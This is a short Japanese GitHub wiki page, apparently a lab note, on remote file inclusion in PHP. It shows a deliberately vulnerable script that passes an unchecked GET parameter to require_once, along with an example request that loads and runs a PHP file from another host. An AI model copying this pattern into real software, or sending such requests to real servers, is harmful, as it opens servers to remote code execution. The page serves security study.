リモートファイルインクルード 01 - yujitounai/helloworld GitHub Wiki
単純なRFI
現状のphpではデフォルト allow_url_include=0 なので外部からの読み取りはできない ini_set('allow_url_include', 1); は効かないのでphp.iniで設定する必要があるかも
<body>
<div class="box">
<form method="get" action="">header
<input name="header" type="text">
<input type="submit">
</form>
</div>
<?php
$header = $_GET['header'];
if(isset($header)){
require_once($header);
}
?>
</body>
phpファイルをテキストとして出力してくれるサーバーにホストする
http://localhost:9003/rfi-01.php?header=http://192.168.5.33/hack/info.php3